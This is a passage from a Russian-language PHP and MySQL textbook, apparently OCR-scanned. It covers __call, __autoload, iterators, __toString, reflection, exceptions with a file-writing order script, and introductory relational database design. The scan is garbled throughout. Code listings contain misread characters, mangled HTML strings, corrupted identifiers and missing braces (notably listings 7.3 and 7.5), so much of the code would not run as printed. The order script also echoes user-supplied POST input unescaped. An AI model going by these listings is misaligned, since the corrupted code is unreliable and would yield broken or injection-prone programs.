} else if (is_array($p[0])) { $this->displayArray($p[0]); } else { $this->displayScalar($p[0]); } } } Метод , call () принимает два параметра. Первый параметр содержит имя вызываемого метода, а второй — массив параметров, передаваемых этому методу. В теле _call () принимается решение о том, какой конкретно метод должен быть вызван, В данном случае, если методу display () передан объект, вызывается метод displayobject (), если передан массив — вызывается метод displayArray(), а во всех остальных случаях — метод displayScalar (). Для вызова показанного выше кода сначала потребуется создать экземпляр класс, содержащего метод___са11() (пусть он называется overload), а затем обратиться к методу display (): $ov = new overload; $ov->display(array(1, 2, 3) ) ; $ov->display(’кот’) ; Первый вызов display () приведет к выполнению displayArray (), а второй вы- зов — к выполнению displayScalar (). Для того чтобы этот код работал, вам не нужна ни одна display (). Использование autoload () Следующей специальной функцией является___autoload (). Это не метод класса, а стандартная функция, которая должна объявляться за пределами любых объявлений классов. Если ее реализовать, она будет автоматически вызываться при попытке соз- дания экземпляра необъявленного класса. Основное назначение____autoload() состоит во включении или затребовании всех файлов, необходимых для создания экземпляров требуемого класса. Рассмотрим следующий пример: function _autoload($name) { include_once $name.”.php"; } Эта реализация предпринимает попытку включить файл с именем, совпадающим с именем класса. Реализация итераторов и итерации Исключительно полезная характеристика объектно-ориентированного механизма в РНР связана с возможностью использования цикла foreach () для перебора атри- бутов объекта подобно тому, как это делается в отношении элементов массива. Ниже показан пример: class myClass { public $а^”5"; public $b="7"; public $c="9"; } $x = new myClass; 198 Часть I. Использование PHP
foreach ($x as $attribute) { echo $attribute. "<br } (На момент написания этой книги официальное руководство по РНР советовало реализовать пустой интерфейс Traversable, чтобы интерфейс foreach нормально функционировал, одрако если поступить подобным образом, возникает фатальная ошибка. А без Trave г sable все работает нормально.) Если требуется получить более сложное поведение, необходимо создать итера- тор (iterator). Для этого реализуйте в классе, в котором нужно выполнить перебор, интерфейс IteratorAggregate, и напишите метод getlterator, возвращающий эк- земпляр класса итератора. Интерфейс Iterator содержит набор методов, которые также должны быть реализованы. Пример реализации класса и итератора показан в листинге 6.4. Листинг 6.4. iterator .php — пример базового класса и класса итератора <?php class Objectiterator implements Iterator { private $obj; private $count; private $currentlndex; function__construct($obj) { $this->obj = $obj; $this->count = count($this->obj->data); } function rewind() { $this->currentlndex =0; } function valid() { return $,this->currentlndex < $this->count; } function key() { return $this->currentlndex; } function current () { return $this->obj->data[$this->currentlndex]; } function next() { $this->currentlndex++; } } class Object implements IteratorAggregate { public $data = array (); function_____construct($in) { $this->data = $in; } function getlterator () { return new Objectiterator ($this.) ; } } $myObject = new Object (array (2, 4, 6, 8, 10)); $mylterator = $my0bject->getlterator(); for($mylterator->rewind (); $mylterator->valid(); $mylterator->next ()) { $key = $mylterator->key(); $value = $mylterator->current(); echo $key.” => ".$value."<br />"; } ?> Глава 6. Объектно-ориентированное программирование на РНР 199
Класс Objectiterator имеет набор функций, требуемый интерфейсом Iterator. Конструктор не обязателен, однако, очевидно, он представляет собой хорошее место для установки количества итерируемых элементов и ссылки на текущий элемент. Функция rewind () должна устанавливать внутренний указатель данных на на- чало данных. Функция valid () должна сообщать, имеются ли еще данные в текущей пози- ции указателя. Функция key () должна возвращать значение указателя на данные. Функция value () должна возвращать значение, хранящееся по указателю данных. Функция next () должна перемещать указатель внутри данных. Причина использования такого класса итератора состоит в том, что интерфейс к данным не изменяется, даже если изменяется представление данных. В рассмотрен- ном примере класс It era tor Aggregate представляет собой простой массив. Даже если вы решите изменить его, скажем, на хеш-таблицу или односвязный список, вы все равно сможете пользоваться стандартным интерфейсом Iterator для его перебо- ра, несмотря на то, что код реализации интерфейса Iterator изменится. Преобразование классов в строки Если реализовать в классе функцию_toString (), она будет вызываться при по- пытке вывода класса на печать, как показано ниже: $р = new Printable; echo $р; Все, что возвращает функция__toString (), будет выводиться на экран операто- ром echo. Эту функцию можно реализовать, например, следующим образом: class Printable { var $testone; var $testtwo; public function_toString () { return(var_export($this, TRUE)); } } (Функция var export () выводит значения всех атрибутов класса.) Использование Reflection API К объектно-ориентированным возможностям РНР относится и API-интерфейс реф- лексии Reflection API. Рефлексия — это способность опрашивать существующие классы и объекты на предмет информации об их структурах и содержимом. Данная возмож- ность исключительно полезна при взаимодействии с неизвестными или недокументи- рованными классами, которые представлены в закодированных РНР-сценариях. Этот API-интерфейс чрезвычайно сложен, но мы все же. рассмотрим простой пример, который позволит ухватить основную идею. В примере используется ранее определенный в этой главе класс Раде. Получить всю информацию о классе Раде с помощью Reflection API можно так, как показано в листинге 6.5л 200 Часть I. Использование РНР
Листинг 6.5. ref lection, php — отображает информацию о классе Page <?php require__once ("page. inc") ; $class = new ReflectionClass("Page"); echo ”<pre>".$class."</pre>"; ?> Здесь для вывода на печать информации используется метод_toString () класса Reflection. Обратите внимание на дескрипторы <рге>, которые не имеют отноше- ния к информации, выдаваемой методом____toString (). Один из экранов вывода, сгенерированного приведенным выше кодом, показан на рис. 6.3. Не gdt View Mgtory gookrnarks Tools Heip http- php Class [ class Page ] { 88 /path/to/the/file/page.inc 2-152 - Constants [0] ( } - Static properties [0] { 1 - Static methods [C] { 1 - Properties [4] { Property [ public Scontent } Property [ public Stitle ] Property [ public $keywords ] Property [ public ^buttons ] П u ! f ft ; < - Methods [10] ( Method [ public method __set ] { Zpath/to/the/file/page.inc 16 - 19 - Parameters [2] { Parameter #0 [ ^name ] Parameter #1 [ $value ] Method [ public method Display ] ( @@ /path/to/the/file/page.inc 21 - 33 } Method [public method DisplayTitle J. { 88 /path/to/the/file/page.inc 35 - 38 Рис. 6.3. Вывод, обеспечиваемый Reflection API, на удивление подробен Что дальше В следующей главе описаны возможности обработки исключений в РНР. Исклю- чения предоставляют элегантный механизм для обработки ошибок, возникающих во время выполнения сценариев. Глава 6. Объектно-ориентированное программирование на РНР 201
Обработка ошибок и исключений В этой главе рассмотрены концепции обработки исключений и описан способ реа- лизации этой обработки в РНР. Исключения — это унифицированный механизм расширяемой, удобной для обслуживания и объектно-ориентированной обработки ошибок. В главе рассматриваются следующие темы. Концепции обработки исключений. Структуры управления исключениями: try. . .throw. . .catch. Класс Exception. Исключения, определяемые пользователем. Исключения в приложении “Автозапчасти от Вована”. Исключения и другие механизмы обработки ошибок РНР. Концепции обработки ошибок Основная идея обработки ошибок состоит в выполнении кода внутри так называе- мого блока try. Этот блок представляет собой раздел кода следующего вида: try { // здесь находится необходимый код } В случае возникновения непредвиденных ситуаций внутри блока try можно вы- полнить так называемую генерацию (throwing) исключения. Некоторые языки, такие как Java, в определенных случаях генерируют исключения автоматически. В РНР исклю- чения нужно генерировать вручную. Это выполняется следующим образом: throw new Exception (* сообщение' , код); Ключевое слово throw запускает механизм обработки исключений. Оно представ- ляет собой конструкцию языка, а не функцию, но ему необходимо передать значение. Эта конструкция ожидает получения объекта. В простейшем случае ее можно исполь- зовать для создания экземпляра встроенного класса Exception, как и было сделано в приведенном примере. 202 Часть I. Использование РНР
Конструктор этого класса принимает два параметра: сообщение и код. Они служат для представления сообщения об ошибке и номера ошибки. Оба эти параметра необя- зательны. И, наконец, за блоком try должен следовать как минимум один блок catch, кото- рый выглядит так: catch (указание_типа исключение) { // обработка исключения } С одним блоком try может быть связано несколько блоков catch. Использование нескольких блоков catch имеет смысл, если каждый из них ожидает перехвата отдель- ного типа исключения. Например, если требуется перехватывать исключения класса Exception, блок catch может выглядеть следующим образом: catch (Exception $е) { // обработка исключения } Объект, передаваемый в блок catch (и перехватываемый им), является тем, ко- торый передается (и генерируется) оператором throw, генерирующим исключение. Исключение может быть любого типа, однако удобнее всего Использовать либо класс Exception, либо экземпляры собственных пользовательских исключений, унаследо- ванных от класса Exception. (Определение пользовательских исключений рассмат- ривается далее в этой главе.) Л . В случае возникновения исключения код РНР ищет соответствующий блок catch. При наличии более одного блока catch передаваемые в них объекты должны иметь различные типы, чтобы РНР мог определить, какой именно блок catch соответствует конкретному случаю. И еще один момент: внутри блока catch тоже можно генерировать исключения. Для большей наглядности рассмотрим пример. Простой пример обработки исклю- чения показан в листинге 7.1. •. > г Листинг 7.1. basic exception.php — генерирование и перехват исключения <?php try { throw new Exception ("Возникла очень серьезная ошибка", 42);, ;>jik } catch (Exception $e) { echo "Исключение ".$e->getCode ()." : ".$e->getMessage()."<br />". " в ".$e->getFile() .", строка ".$e->getLine () ."<br />"; } . . . ?> -------------------------------------------------------------------------------- В листинге 7.1 видно, что мы воспользовались несколькими методами класса Exception, которые будут рассмотрены несколько позже. Результат выполнения это- го кода показан на рис. 7.1. В приведенном примере кода было сгенерировано исключение класса Exception. Методы этого встроенного класса можно использовать в блоке catch для вывода по- лезного сообщения об ошибке. Глава 7. Обработка ошибок и исключений Г г г 203
®Haza»Hrefox _ . .. He gdrt £»ew Higtor gooknwks Tools Help * С ж taj LJ . h«]x//localTOst4ji^ Исключение 42. Возникла очень серьезная ошибка в C:Apache2Triadhtdocsp^pmysqI,07ba5ic_exception.phpr строка 4 Рис. 7.1. Этот блок catch выводит сообщение об ошибке с указанием места ее возникновения Класс Exception В РНР имеется встроенный класс Exception. Как уже упоминалось, конструктор этого класса принимает два параметра: сообщение об ошибке и номер ошибки. Кроме конструктора, этот класс содержит следующие встроенные методы. getCode () — возвращает код, переданный конструктору. getMessage () — возвращает сообщение, переданное конструктору. getFile ()— возвращает полный путь файла кода, в котором возникло исклю- чение. getLine () — возвращает номер строки в файле кода, где возникло исключение. getTrace () — возвращает массив, содержащий стек вызовов в месте возникнове- ния исключения. getTraceAsString ()— возвращает ту же информацию, что и метод getTrace, но сформатированную в виде строки. toString ( )— позволяет упростить вывод объекта Exception с помощью опе- ратора echo, предоставляя всю информацию, полученную из перечисленных методов. Как видите, в коде листинга 7.1 были использованы четыре из этих методов. Эту же информацию (плюс стек вызовов) можно было бы получить с помощью следую- щего оператора: 'echo $е; Стек вызовов (backtrace) указывает, какие функции выполнялись в момент возник- новения исключения. Исключения, определяемые пользователем Вместо создания и передачи экземпляра базового класса Exception можно пе- редавать любой другой объект. В большинстве случаев вы будете расширять класс Exception для создания своих собственных классов исключений. Конструкция throw позволяет передавать любые другие объекты. Иногда такая по- требность может возникать при наличии проблем, связанных с каким-то конкретным объектом, и необходимости его передачи в целях отладки. 204 Часть I. Использование РНР
Но, как уже говорилось, в большинстве случаев приходится расширять базовый класс Exception. В руководстве по РНР показан код, который демонстрирует скелет класса Exception. Этот код, доступный по адресу http: //www.php. net/zend-engine-2 .php, воспроизведен в листинге 7.2. Обратите внимание, что это не весь код, а лишь те ком- поненты, которые можно наследовать. Листинг 7.2. Класс Exception — компоненты класса, которые можно наследовать <?php class Exception { function construct(string $message=NULL, int $code=0) { if (func_num_args()) { $this->message = $message; i i $this->code = $code; $this->file = FILE ; // из конструкции throw $this->line = LINE ; // из конструкции throw $this->trace = debug_backtrace(); $this->string = StringFormat($this); } protected $message = ’Unknown exception’; // сообщение исключения protected $code = 0; // пользовательский код исключения protected $file; // исходное имя файла исключения protected $line; // исходная строка исключения private $trace; private $string; // стек вызовов исключения // только для внутреннего пользования! ! final function getMessageO { return $this->message; } final function getCodeO { return $this->code; } final function getFileO { return $this->file; } final function getTraceO { return $this->trace; } final function getTraceAsString() { return self::TraceFormat($this); } function _toString() { return $this->string; } static private function StringFormat(Exception $exception) { // ... недоступная в PHP-сценариях функция, // которая возвращает всю необходимую информацию в виде строки } static private function TraceFormat(Exception $exception) { // ... недоступная в PHP-сценариях функция, // которая возвращает весь стек вызовов в виде строки } Глава 7. Обработка ошибок и исключений 206
Основная причина, по которой было приведено определение этого класса, состоит в том, что большинство общедоступных методов являются финальными: т.е. их нельзя переопределить. Можно создать собственный подкласс Exceptions, но нельзя менять поведение базовых методов. Однако можно переопределять функцию____toString (), чтобы изменять способ отображения исключения. Можно также добавлять собствен- ные методы. Пример определенного пользователем класса Exception показан в листинге 7.3. Листинг 7.3. user_defined._exception.php — пример определяемого пользователем класса Exception <?php class myException extends Exception { function __toString(j { return ''ctable border=\’’\’’><tr><td><strong>WcKni04eHwe ". $this->getCode()."</strong>: ".$this->getMessage()."<br />". " в **. $this->getFile () . строка ” . $this->getLine () . "c/tdx/trx/tablexbr try { throw new myException("Произошла очень серьезная ошибка", 42); catch (myException $m) { echo $m; } В этом коде объявляется новый класс исключения с именем myException, расширяю- щий базовый класс Exception. Различие между этим классом и классом Exception состо- ит в переопределении метода_toString () для обеспечения более “изящного” вывода сообщения об исключении. Результат выполнения этого кода показан на рис. 7.2. Рис. 7.2. Класс myException обеспечивает “изящный” вывод сообщений об исключениях Приведенный пример очень прост. В следующем разделе мы рассмотрим способы создания различных исключений, связанных с различными категориями ошибок. 206 Часть I. Использование РНР
Исключения в приложении “Автозапчасти от Вована” В главе 2 было описано, как данные заказа Вована можно сохранять в плоском фай- ле. Известно, что файловый ввод-вывод (фактически, любой вид ввода-вывода) — это та область программ, в которой часто возникают ошибки. Поэтому имеет смысл при- менить к нему механизм обработки исключений. Если вернуться к исходному коду, несложно заметить, что в процессе записи в файл могут возникнуть три проблемы: невозможность открытия файла, невозможность полу- чения блокировки или невозможность записи в файл. Для каждой из этих ситуаций мы создали класс исключения. Код этих классов исключений представлен в листинге 7.4. Листинг 7.4. file exceptions.php — исключения, связанные с файловым вводом-выводом <?php class fileOpenException extends Exception { function _toStringO { return "fileOpenException ".$this->getCode().": ". $this->getMessage ()."<br />в ".$this->getFile (). ", строка ".$this->getLine()."<br />"; } } class fileWriteException extends Exception { function _toStringO { return "fileWriteException ".$this->getCode. $this->getMessage()."<br />в ".$this->getFile (). ", строка ".$this->getLine()."<br />"; } I class fileLockException extends Exception { function _toStringO { return "fileLockException ".$this->getCode . $this->getMessage()."<br />в ".$this->getFile (). ", строка ".$this->getLine()."<br />"; } } ?> Эти подклассы Exception не выполняют никаких действий, представляющих осо- бый интерес. Фактически в этом приложении можно было бы оставить их пустыми йли воспользоваться базовым классом Exception. Тем не менее, мы включили в каж- дый подкласс метод__toString (), который выводит сообщение о типе возникшего исключения. Чтобы внедрить обработку исключений, мы переписали файл processorder .php, рассмотренный в главе 2. Новая версия этого файла показана в листинге 7.5. Глава 7. Обработка ошибок и исключений 207
Листинг 7.5. processorder .php — сценарий обработки заказов Вована с добавленной обработкой исключений <?php require_once("file_exceptions.php"); / / создание коротких имен переменных $tireqty = $_POST[’tireqty’]; $oilqty = $_POST[’oilqty’] ; $sparkqty = $_POST[’sparkqty’]; $address = $_POST[’address’]; $DOCUMENT_ROOT = $_SERVER[’DOCUMENT_ROOT']; ?> <html> <head> <title>ABTO3an4acTH от Вована - Результаты 3aKa3a</title> </head> <body> <Ь1>Автозапчасти от Вована</Н1> <Ь2>Результаты заказа</Ъ2> <?php $date = date(’H:i, jS F’); echo "<р>3аказ обработан в " . $date."</p>"; $totalqty = $tireqty + $oilqty + $sparkqty; echo "Заказано товаров: ".$totalqty."<br />"; if($totalqty == 0) { echo "Вы ничего не заказали на предыдущей странице!<br />"; } else { if ($tireqty>0) { echo $tireqty." покрышек<Ьг />"; } if ($oilqty>P) { echo $oilqty." бутылок масла<Ьг />"; } if ( $sparkqty>0 ) { echo $sparkqty." свечей зажигания<Ьг />"; } } define(’TIREPRICE’f 100); define(’OILPRICE’, 10); define('SPARKPRICE', 4) ; $totalamount = $tireqty * TIREPRICE + $oilqty * OILPRICE + $sparkqty * SPARKPRICE; $totalamount = number_format($totalamount, 2, ’ '); echo "<р>Итого по заказу: ".$totalamount."</p>"; echo "<р>Адрес доставки: ".$address."</p>"; 208 Часть I. Использование PHP
$outputstring = $date. ”\t” . $tireqty. " покрышекН" .$oilqty." бутылок масла\б".$sparkqty." свечей зажигания\t\$" . $totalamount. "\t" . $address. "\n" ; // открываем файл для дозаписи try { if (! ($fp = @f open (*" $DOCUMENT_ROOT/. ./orders/orders, txt”, ’ab’))) throw new fileOpenException (); if (!flock($fp, LOCK_EX)) throw new fileLockException(); if (!fwrite($fp, $outputstring, strlen($outputstring))) throw new fileWriteException (); flock($fp, LOCK—UN); fclose($fp); echo "<р>3аказ записан.</p>"; } catch (fileOpenException $foe) { echo "<p><strong>HeBO3MO»HO открыть файл заказов." . " Обратитесь к Web-мастеру.</strong></p>"; } catch (Exception $e) { echo "<p><strong>B данный момент мы не можем обработать ваш заказ." ." Попробуйте повторить его позже 1</strong></p>"; </body> </html> Как видите, раздел кода сценария, реализующий файловый ввод-вывод, помещен в блок try. В общем случае использование небольших блоков try, в конце которых вы- полняется перехват важных исключений, считается правильным подходом к програм- мированию. Это упрощает написание и сопровождение кода обработки исключений, поскольку легко понять, с чем приходится иметь дело. В случае невозможности открытия файла код генерирует исключение fileOpen Exception; невозможность блокирования файла ведет к генерированию исключения fileLockException, а невозможность записи в файл — к генерированию исключения fileWriteException. Взгляните на блоки catch. Для целей иллюстрации мы показали только два таких блока: один для обработки объектов fileOpenException и второй для обработки объектов Exception. Поскольку остальные исключения наследуют свойства и методы класса Exception, они будут перехватываться вторым блоком catch. Сопоставление блоков catch выполняется в соответствии с теми же основными правилами, что и применяемые в операторе instanceof. Это обстоятельство является веским основа- нием для создания пользовательских классов исключений за счет расширения одного единственного класса. Важное предупреждение: при генерировании исключения, для которого соответ- ствующий блок catch не был создан, РНР сообщит о фатальной ошибке. Глава 7. Обработка ошибок и исключений 209
Исключения и другие механизмы обработки ошибок РНР Помимо механизма обработки исключений, рассмотренного в этой главе, РНР обладает развитой поддержкой обработки ошибок, которая будет описана в главе 26. Процесс генерирования и обработки исключений не влияет и не мешает работе дан- ного механизма обработки ошибок. Обратите внимание, что в листинге 7.5 вызов метода fopen () предварен символом операции подавления ошибки (@). В случае неудачного выполнения этого метода РНР сгенерирует предупреждение, вывод которого на экран или запись в журнал зависит от настроек отчета об ошибках, которые определены в файле php .ini. Эти параметры рас- сматриваются в главе 26, но следует знать, что данное предупреждение будет сгенериро- вано независимо от того, выполняется ли генерирование исключения. Дополнительные источники информации Поскольку обработка исключений появилась в РНР относительно недавно, по этой теме написано не очень много. Однако существует достаточно большой объем общей информации по обработке исключений. Компания Sun на своей странице http: // java.sun.com/docs/books/tutorial/essential/exceptions/handling.html пред- лагает хорошее учебное пособие по вопросу о том, что собой представляют исключе- ния и почему возникает необходимость в их использовании (разумеется, представлен- ная в пособии информация относится к языку Java). Что дальше Следующая часть этой книги посвящена MySQL. В ней поясняются создание и за- полнение базы данных MySQL, а также технология ее связывания с РНР-сценариями, что дает возможность получать доступ к базе данных из Интернета. 210 Часть I. Использование РНР
II Использование MySQL В ЭТОЙ ЧАСТИ... Глава 8. Проектирование баз данных для веб-приложений Глава 9. Создание базы данных для веб-приложений Глава 10. Работа с базой данных MySQL Глава 11. Веб-доступ к базе данных MySQL с помощью РНР Глава 12. Дополнительные сведения по администрированию MySQL Глава 13. Дополнительные сведения по программированию в MySQL
Проектирование баз данных для веб-приложений После ознакомления с основами РНР можно приступать рассмотрению процесса интегрирования баз данных со сценариями, реализующими поведение сайта. Как вы, вероятно, помните, в главе 2 были описаны преимущества использования реля- ционных баз данных по сравнению с двумерными файлами. Системы управления реляционными базами данных (СУРБД) обеспечивают бо- лее быстрый доступ к данным, чем двумерные файлы. Посредством запросов из СУРБД легко извлекать наборы данных, соответст- вующие определенным критериям. СУРБД обладают встроенным механизмом для работы с параллельным досту- пом, что позволяет программисту не беспокоиться об этом. СУРБД обеспечивают произвольный доступ к данным. СУРБД обладают встроенными системами управления полномочиями. Если говорить более предметно, то использование реляционных баз данных по- зволяет быстро и без особых усилий ответить на такие вопросы, как: “Где прожива- ют клиенты?”, “Какие товары продаются наиболее успешно?” или “Какая категория клиентов приносит наибольшую прибыль?” Эта информация может способствовать улучшению сайта, чтобы цель не только не потерять клиентов, но и привлечь новых. Но ее очень трудно получить, имея дело с двумерными файлами. В этой части книги речь пойдет о СУБД MySQL. Однако прежде чем подробнее рассмотреть ее особенности (что будет сделано в следующей главе), необходимо про- яснить некоторые вопросы. Концепции и терминология реляционных баз данных. Проектирование баз данных для веб-приложений. Архитектура баз данных для веб-приложений. 212 Часть II. Использование MySQL
В последующих главах освещены следующие темы. В главе 9 описана основная конфигурация, необходимая для подключения к Интернету вновь разработанной базы данных MySQL. Вы научитесь создавать пользователей, базы данных, таблицы и индексы, а также узнаете о механизмах хранения данных MySQL. В главе 10 поясняется, как из командной строки выполнять запросы к базе дан- ных, а также как добавлять, обновлять и удалять записи. В главе 11 рассмотрена технология объединения РНР и MySQL, что позволяет использовать базу данных и осуществлять ее администрирование через веб-ин- терфейс. Вы изучите два метода реализации этого: с помощью РНР-расшире- ния MySQL Improved Extension (mysqli) и посредством уровня абстракции баз данных PEAR:DB. В главе 12 детально описано администрирование MySQL, включая систему пол- номочий, безопасность и оптимизацию. В главе 13 предложено подробное описание механизмов хранения данных, а также транзакций, полнотекстового поиска и хранимых процедур. Концепции реляционных баз данных На сегодняшний день реляционные базы данных (БД) являются наиболее часто используемым типом БД. Они построены на основе строгих законов реляционной алгебры. Чтобы пользоваться реляционными БД (а это весьма неплохая идея), вовсе необязательно досконально разбираться в реляционной теории, однако все же следу- ет овладеть'основными понятиями баз данных. Таблицы Реляционные БД построены на основе отношений, обычно называемых табли- цами (table). Таблица представляет собой именно то, что и подразумевает этот тер- мин — таблицу с данными. Если вам когда-либо приходилось иметь дело с электрон- ной таблицей, значит, вы уже имеете опыт использования таблиц. Рассмотрим пример таблицы, показанный на рис. 8.1. Эта таблица содержит име- на и адреса клиентов книжного магазина “Буквофил”. Customers (Клиенты) CustomerlD (Идентификатор клиента) Name (ФИО) Address (Адрес) - City (Город) 1 Саша Валентей 12, ул. Гудвина г. Изумрудный 2 Ева Легкая 34, пр. Незнайки г. Солнечный 3 Слава Моргунов 56, пер. Поттера пгт Хогвартс Рис. 8.1. Таблица со сведениями о покупателях магазина “Буквофил” Таблица имеет собственное имя — Customers (Клиенты), несколько столбцов, ка- ждый из которых содержит определенного рода данные, а также строки, в которых записаны сведения о клиентах. Глава 8. Проектирование баз данных для веб-приложений 213
Столбцы Каждый столбец в таблице имеет уникальное имя и содержит разнообразные данные. Кроме того, каждому столбцу соответствует определенный тип данных. Например, в таблице Customers, которая показана на рис. 8.1, можно видеть, что столбец Customer ID (Идентификатор клиента) хранит целочисленную информацию, а остальные три столбца — строки. Иногда столбцы называются также полями или атрибутами. Строки Каждая строка в таблице представляет отдельного клиента. Вследствие использо- вания табличного формата все строки имеют одни и те же атрибуты. Строки также называют записями или кортежами. Значения Каждая строка состоит из набора отдельных значений, соответствующих столб- цам. Тип данных каждого значения должен соответствовать типу данных, заданному столбцом. Ключи Клиентов нужно различать. Обычно имена не очень подходят для этого — если ваше имя достаточно распространенное, думается, вполне понятно, поцему так слож- но отличить одного Сидорова Ивана Петровича от полста других Сидоровых Иванов Петровичей. Вот, например, Слава Моргунов из таблицы Customers. Если открыть телефонную книгу, то окажется, что такое имя и фамилия встречаются в ней слиш- ком часто. Существует несколько способов отличить конкретного Славу от других. Например, вероятнее всего, он — единственный Слава Моргунов, проживающий по данному ад- ресу. Однако.строка “Слава Моргунов, проживающий по адресу 56, пер. Поттера, пгт Хогвартс” слишком длинная и звучит чересчур официальнот К тому же при этом тре- буется несколько столбцов таблицы. Мы поступили следующим образом (вероятнее всего, вы поступите так же) — ка- ждому клиенту присвоили уникальный идентификатор клиента (CustomerID). При этом используется тот же принцип, что и в банке, где счетам клиентов присваивают уникальные номера, или в клубе, где каждому члену клуба выдают индивидуальную членскую карточку с уникальным номером. Такой подход облегчает хранение сведе- ний в БД, а искусственное присвоение идентификационного номера гарантирует его уникальность. Лишь немногие реальные сведения о клиенте, даже при совместном их использовании, обладают подобным свойством. Столбец идентификации в таблице называется ключом (key) или первичным ключом (primary key). Ключ может состоять из нескольких столбцов. Например, если бы мы решили идентифицировать Славу Моргунова по строке “Слава Моргунов: 56, пер. Поттера, пгт Хогвартс”, то ключ состоял бы из столбцов Name, Address и City. При этом нельзя было бы гарантировать его уникальность. Обычно базы данных состоят из нескольких таблиц, для которых ключи служат связующим звеном. На рис. 8.2 показана база данных, в которую добавлена вторая таблица. В ней размещаются сведения о заказах, сделанных клиентами. 214 Часть II. Использование MySQL
Customers (Клиенты) CustomerlD (Идентификатор клиента) Name (ФИО) Address (Адрес) City (Город) 1 Саша Валентей 12, ул. Гудвина г. Изумрудный ’ 2 Ева Легкая 34, пр. Незнайки г. Солнечный 3 Слава Моргунов 56, пер. Поттера пгТ Хогвартс Orders (Заказы) OrderlD (Идентификатор заказа) CustomerlD (Идентификатор клиента) Amount (Сумма) Date (Дата) 1 3 27.50 02-Июн-2005 2 1 12.99 15-Июн-2005 3 2 74.00 19-Июн-2005 4 3 6.99 01-ИЮЛ-2005 Рис. 8.2. В каждом заказе из таблицы Orders имеется указание на клиента из таблицы Customers Каждая строка в таблице Orders (Заказы) представляет один заказ, сделанный од- ним клиентом. Клиента можно установить по хранящемуся в таблице идентификатору клиента Customer ID. Например, если взглянуть на заказ с идентификатором заказа OrderlD, равным 2, видно, что его сделал клиент с CustomerlD, равным 1. Затем, об- ратившись к таблице Customers, можно выяснить, что CustomerID=l присвоен кли- енту Саша Валентей. В соответствие с терминологией реляционных баз данных такая взаимосвязь называется внешним ключом (foreign key). CustomerlD — первичный ключ в таблице Customers, однако когда он появляется в другой таблице, например, Orders, его на- зывают внешним ключом. Не исключено, что наше решение использовать две разные таблицы может вы- звать у вас недоумение — почему бы просто не поместить адрес Славы Моргунова в таблицу Orders? Подробнее это объясняется в следующем разделе. Схемы Множество структур всех таблиц базы данных называется схемой (schema) этой базы данных. В чем-то схема подобна чертежу. В ней должны быть изображены таб- лицы вместе с их столбцами, а также указаны первичный ключ и все внешние ключи для каждой таблицы. Схема не содержит никаких конкретных данных, однако в нее можно поместить образцы данных, чтобы назначение тех или иных столбцов было понятнее. Схемы могут быть представлены в виде неформальных диаграмм, анало- гичных используемым в этой книге, в виде диаграмм “сущность-отношение” (которые не рассматриваются в данной книге) или в текстовой форме наподобие следующей: Customers(CustomerlD, Name, Address, City) Orders(OrderlD, CustomerlD, Amount, Date) Глава 8. Проектирование баз данных для веб-приложений 215
Подчеркнутые элементы в схеме — это первичные ключи того отношения, где они подчеркнуты. Элементы, выделенные курсивом, представляют собой внешние ключи соответствующего отношения. Отношения Внешние ключи представляют отношения между данными в двух таблицах. Например, связь между таблицами Orders и Customers представляет отношение ме- жду строкой в таблице Orders и строкой в таблице Customers. В реляционной базе данных существуют три основных типа отношений. Их клас- сифицируют в зависимости от количества элементов по каждую сторону отношения. Различают отношения типа “один к одному”, “один ко многим”, “многие ко многим”. Отношение “один к одному” означает, что с каждой стороны в отношении уча- ствует по одному элементу. Например, если бы адреса были помещены не в таблицу Customers, а в какую-нибудь другую, между этими таблицами существовало бы отно- шение “один к одному”. Таблицы Addresses (Адреса) и Customers могли бы быть свя- заны внешним ключом либо как-то иначе (и то, и другое не обязательно). При отношении “один ко многим” одна строка в первой таблице связана с не- сколькими строками другой таблицы. В нашем примере один клиент может сделать несколько заказов. В таких отношениях таблица, содержащая несколько строк, будет иметь внешний ключ к таблице с одной строкой. В данном случае, чтобы проиллюст- рировать это отношение, мы вставили идентификатор клиента в таблицу заказов. В отношении типа “многие ко многим” несколько строк одной таблицы связаны с несколькими строками другой. Например, при наличии двух таблиц Books (Книги) и Authors (Авторы) могло бы выясниться, что одна книга была написана нескольки- ми авторами, каждый из которых написал и другие книги, причем некоторые из них могли быть написаны, опять-таки, в соавторстве с другими. Как правило, такой тип отношений требует наличия отдельной таблицы. В результате могли бы существовать таблицы Books, Authors и Books Authors. Третья таблица содержала бы только клю- чи из остальных двух таблиц в качестве парных внешних ключей, показывающие, ка- кие авторы принимали участие в написании той или иной книги. Как спроектировать собственную базу данных для веб-приложения Знание того, когда требуется новая таблица и какой элемент нужно выбрать в ка- честве ключа, относится, скорее, к искусству. Темам диаграмм “сущность-отношение” и нормализации баз данных, которые выходят за рамки этой книги, посвящены бук- вально горы научной литературы. Однако в большинстве случаев достаточно придер- живаться нескольких основных принципов проектирования. Рассмотрим их приме- нительно к нашему проекту “Буквофил”. Думайте о реальных объектах, которые вы моделируете Как правило, при создании базы данных приходится моделировать объекты и взаимо- связи реального мира и сохранять информацию об этих объектах и взаимосвязях. В общем случае каждый класс реальных моделируемых объектов нуждается в собст- венной таблице. Подумайте о следующей ситуации: нам требуется хранить одинаковую 216 Часть II. Использование MySQL
информацию обо всех наших клиентах. Но при существовании набора данных одинако- вой “формы” мы запросто можем создать таблицу, соответствующую этим данным. В примере с магазином “Буквофил” необходимо хранить сведения о клиентах, продаваемых книгах и деталях заказов. У каждого клиента есть имя-фамилия и ад- рес. Заказы отличаются датой оформления, общей стоимостью и списком заказанных книг. Книги отличаются номером ISBN, автором, названием и ценой. Исходя из этого, база данных должна содержать, как минимум, три таблицы: Customers (Клиенты), Orders (Заказы) и Books (Книги). Исходная схема представ- лена на рис. 8.3. Customers (Клиенты) CustomerlD (Идентификатор клиента) Name (ФИО) Address (Адрес) City (Город) 1 Саша Валентей 12, ул. Гудвина г. Изумрудный 2 Ева Легкая 34, пр. Незнайки г. Солнечный 3 Слава Моргунов 56, пер. Поттера пгт Хогвартс Orders (Заказы) OrderlD (Идентификатор заказа) CustomerlD (Идентификатор клиента) Amount (Сумма) Date (Дата) 1 3 27.50 02-Июн-2005 2 1 12.99 15-Июн-2005 3 2 74.00 19-Июн-2005 4 3 6.99 01-Июл-2005 Books(Книги) ISBN Author (Автор) Title (Название) Price (Цена) 5-8459-0046-8 Майкл Морган Java 2. Руководство разработчика 88.40 5-8459-1082-Х Кристофер Негус Linux. Библия пользователя 98.20 5-8459-1134-6 Марина Смолина CorelDRAWX3. Самоучитель 68.20 Рис. 8.3. Исходная схема состоит из таблиц Customers, Orders и Books В данном случае, глядя на модель, нельзя узнать/ какие книги были указаны в каж- дом заказе. Этим вопросом мы займемся несколько позже. 